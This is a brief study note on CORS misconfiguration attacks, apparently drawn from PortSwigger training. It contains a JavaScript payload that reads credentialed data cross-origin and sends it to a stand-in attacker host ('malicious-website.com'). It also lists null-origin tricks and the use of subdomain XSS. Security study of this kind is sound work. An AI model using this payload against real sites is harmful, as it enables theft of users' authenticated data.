CORS
It's all from portswigger
Payload:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};Null origin:
Cross-origin redirects.
Requests from serialized data.
Request using the
file:protocol.Sandboxed cross-origin requests.
Trust exploit
if a subdomain is vulnerable to xss it can be used to carry out cors attack and read response
Last updated